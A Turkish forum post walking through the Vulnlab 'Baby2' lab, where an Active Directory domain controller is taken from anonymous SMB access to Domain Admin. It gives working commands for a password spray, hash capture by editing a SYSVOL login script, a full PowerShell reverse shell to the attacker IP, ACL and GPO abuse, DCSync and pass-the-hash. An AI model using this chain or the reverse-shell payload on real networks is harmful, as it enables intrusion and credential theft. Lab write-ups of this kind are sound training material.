Vulnlab - Baby2

  • Konbuyu başlatan Konbuyu başlatan mao7un
  • Başlangıç tarihi Başlangıç tarihi

mao7un

VM Creator
Moderatör
Katılım
22 Ocak 2024
Mesajlar
26
Tepkime puanı
40
Puanları
13
Merhaba, bu yazımda Vulnlab platformundaki Baby2 makinesinin çözümünü anlatacağım.

İlk olarak, nmap taraması ile sistemi numaralandırıyorum.

nmap -sSV -v -p- -T4 $ip -n -Pn

SMB portunun açık olduğunu görüyorum ve burada anonim olarak paylaşımları listelemeyi deniyorum.

Anonim olarak listelemeyi başardım.

ADMIN$ Disk Remote Admin
apps Disk
C$ Disk Default share
docs Disk
homes Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share


Burada "homes" dizinine girdiğimde kullanıcı adlarını görüyorum. Bunları users.txt dosyasına kaydediyorum ve bir brute-force deniyorum.

crackmapexec smb 10.10.71.17 -u usernames.txt -p usernames.txt

"Carl.Moore" adlı kullanıcının kullanıcı adı ve şifresinin aynı olduğunu görüyorum. Bu kullanıcı ile sistemi daha iyi anlamak için BloodHound çalıştırıyorum.

bloodhound-python -ns 10.10.71.17 -d baby2.vl -c All -u Carl.Moore

BloodHound'u çalıştırmak için ilk olarak Neo4j servisini çalıştırıyorum.

neo4j console

Şimdi BloodHound'u çalıştırabilirim. "Carl.Moore" adlı kullanıcıyla ilgili herhangi bir şey bulamadım, ancak "Domain Admin" olmamı sağlayacak bir yol buldum.


Screenshot_2024-04-27_13_54_47.png


Nicola.Lamb adlı kullanıcı LEGACY grubunda ve LEGACY grubu GPOADM üzerinde “WriteDacl” yetkisine sahip (bu yetkiyi ileride kullanıcı üzerinde full yetki elde etmek için kullanacağız ve bu sayede kullanıcının şifresini değiştirme yetkisine sahip olacağız .)

GPOADM kullanıcı ise Domain Controllers Policy üzerinde “GenericAll” yetkisine sahip bu yanlış yetkilendirme sayesinde bir policy (evil policy) oluşturup GPOADM kullanıcısını “Administrators” grubuna ekleyip Domain Admin olacağım ama tabi ki ilk olarak bunları gerçekleştirmek için Nicola.Lamb kullanıcısına erişmemiz gerekiyor :)

şimdi ilk olarak ona odaklanalım SMB’yi biraz daha enumerate ediyorum ve karşıma bir login scripti geliyor bu script bir scheduled task olarak kaydedilmiş ve bunu Carl.Moore adlı kullanıcı ile değiştirebiliyorum (silip yeniden upload edebiliyorum)

smbclient -U Carl.Moore //$ip/SYSVOL
> del login.vbs
> put login.vbs


login.vbs içeriğine baktığımda bazı komutlar dikkatimi çekiyor

MapNetworkShare “\\dc.baby2.vl\apps”, “V”
MapNetworkShare “\\dc.baby2.vl\docs”, “L”


bu iki komut \\dc.baby2.vl\apps paylaşımını V diskine map ediyor

diğeri ise docs paylaşımını L diskine map ediyor eğer ben buraya kendi ip adresimi verip responder ile dinleme yaparsam scheduled taski çalıştıran kullanıcının hashini yakalayabilirim.

MapNetworkShare "\\10.8.2.20\mao", "V"
MapNetworkShare "\\10.8.2.20\tun", "L"


bu şekilde değiştiriyorum ve SYSVOL paylaşımına upload ediyorum.

responder -I tun0

responder’ı da çalıştırdıktan sonra bir kaç dakika bekliyorum ve

[SMB] NTLMv1-SSP Hash : Amelia.Griffiths::BABY2:3AE29F2D6D4B59FE00000000000000000000000000000000:145A830A6F2D5BDADDC94B4F161A3D4D3993FD55B2C6AC47:3b0d4635155d0ab3


Amelia.Griffiths adlı kullanıcının hashini alıyorum.

burada aradığım kullanıcı aslında Nicola.Lamb di çünkü bu kullanıcının bir çok yetkisi var ama bu yetkiler LEGACY grubundaki tüm üyeler için geçerli olduğu için LEGACY grubunun tüm üyelerine baktığımda Amelia.Griffiths’i de görüyorum ondan dolayı bu kullanıcıyı kullanarak Domain Admin olacağım.

hashi kırmayı deniyorum ama herhangi bir şekilde hashi kırmayı başaramıyorum bunun yerine bir reverse shell ile sisteme bağlanmayı deniyorum.

CreateObject(“WScript.Shell”).Run “cmd /c powershell -c “”$client = New-Object System.Net.Sockets.TCPClient(‘10.8.2.20’, 1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”””

komutu vbs dosyasının en alt kısmına ekliyorum login.vbs dosyamı güncelledikten sonra bir netcat listeneri ile dinleme yapıyorum.


PS C:\Windows\system32> whoami
[U]baby2\amelia.griffiths[/U]


sisteme amelia.griffiths olarak giriş yaptım şimdi yukarıda bahsettiğim işlemleri gerçekleştireceğim. Başlamadan önce PowerView.ps1 i download edip import ediyorum

wget http://10.8.2.20/PowerView.ps1 -o pw.ps1
. .\pw.ps1


Add-DomainObjectAcl -TargetIdentity GPOADM -PrincipalIdentity Amelia.Griffiths -Rights All

bu komut ile GPOADM üzerindeki “WriteDacl” yetkisi sayesinde kullanıcı üzerinde full yetki elde ettik . Bu sayede GPOADM kullanıcısının şifresini değiştirebiliriz.

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity GPOADM -AccountPassword $UserPassword


GPOADM kullanıcısının şifresini “Password123!” olarak değiştirdim.

şimdi artık Domain Policy’i manipüle edebilirim.Bunun için pyGPOabuse.py scriptini kullanacağım.

bunun için GPO id’yi bilmemiz gerekiyor bunu da manipüle etmek istediğimiz GPO nun IDsi olarak gireceğim
Screenshot_2024-04-27_14_34_02.png


bunu öğrendikten sonra artık GPO yu manipüle edebiliriz.

python3 pygpoabuse.py baby2.vl/GPOADM -command 'net localgroup administrators GPOADM /add' -gpo-id '6AC1786C-016F-11D2-945F-00C04FB984F9' -dc-ip 10.10.71.17

bu script ile Domain Controller GPO’su içerisinde bir task olusturdu bu task ise GPOADM kullanıcısını Administrators grubuna ekleyen bir task.

task’ın doğru bir şekilde çalışıp çalışmadığını kontrol ediyorum

PS C:\Temp> net localgroup administrators

Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins

gpoadm
The command completed successfully.

şimdi “gpoadm” kullanıcısı ile bir DCSync saldırısı yapabilirim.

impacket-secretsdump baby2.vl/[email protected]

buradan da administrator kullanıcısının hashini alıp pass the hash saldırısı gerçekleştireceğim.

impacket-psexec [email protected] -hashes ":61eb5<REDACTED>0fdca6eb82"

artık Domain Admin oldum ve flagleri alıp makineyi kapatıyorum.


C:\Windows\system32> hostname
dc
C:\Windows\system32> whoami
nt authority\system


c:\> type C:\user.txt
VL{36a82<REDACTED>cc81a45d22}

c:\> type C:\users\Administrator\Desktop\root.txt
VL{f0205b652e<REDACTED>3516}
 
Geri
Üst